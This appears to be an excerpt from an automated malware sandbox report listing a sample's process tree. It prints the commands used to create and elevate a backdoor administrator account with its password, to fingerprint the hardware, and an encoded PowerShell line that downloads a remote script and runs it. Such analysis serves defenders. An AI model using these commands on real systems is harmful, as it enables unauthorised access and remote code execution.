PID:2132 -
C:\Windows\system32\net.exenet.exe LOCALGROUP "Administrators" wgautilacc /ADD2⤵PID:3796
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD3⤵PID:2276
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C:\Windows\System32\cmd.execmd /C net.exe user wgautilacc 8KpHFTB41⤵PID:1844
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C:\Windows\system32\net.exenet.exe user wgautilacc 8KpHFTB42⤵PID:688
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 user wgautilacc 8KpHFTB43⤵PID:3972
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C:\Windows\System32\cmd.execmd.exe /C wmic path win32_VideoController get name1⤵PID:1780
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C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name2⤵PID:2276
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C:\Windows\System32\cmd.execmd.exe /C wmic CPU get NAME1⤵PID:1584
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C:\Windows\System32\Wbem\WMIC.exewmic CPU get NAME2⤵
- Modifies data under HKEY_USERS
PID:3972
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C:\Windows\System32\cmd.execmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA1⤵PID:1696
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C:\Windows\system32\cmd.execmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA2⤵PID:2320
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA3⤵
- Blocklisted process makes network request
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2276
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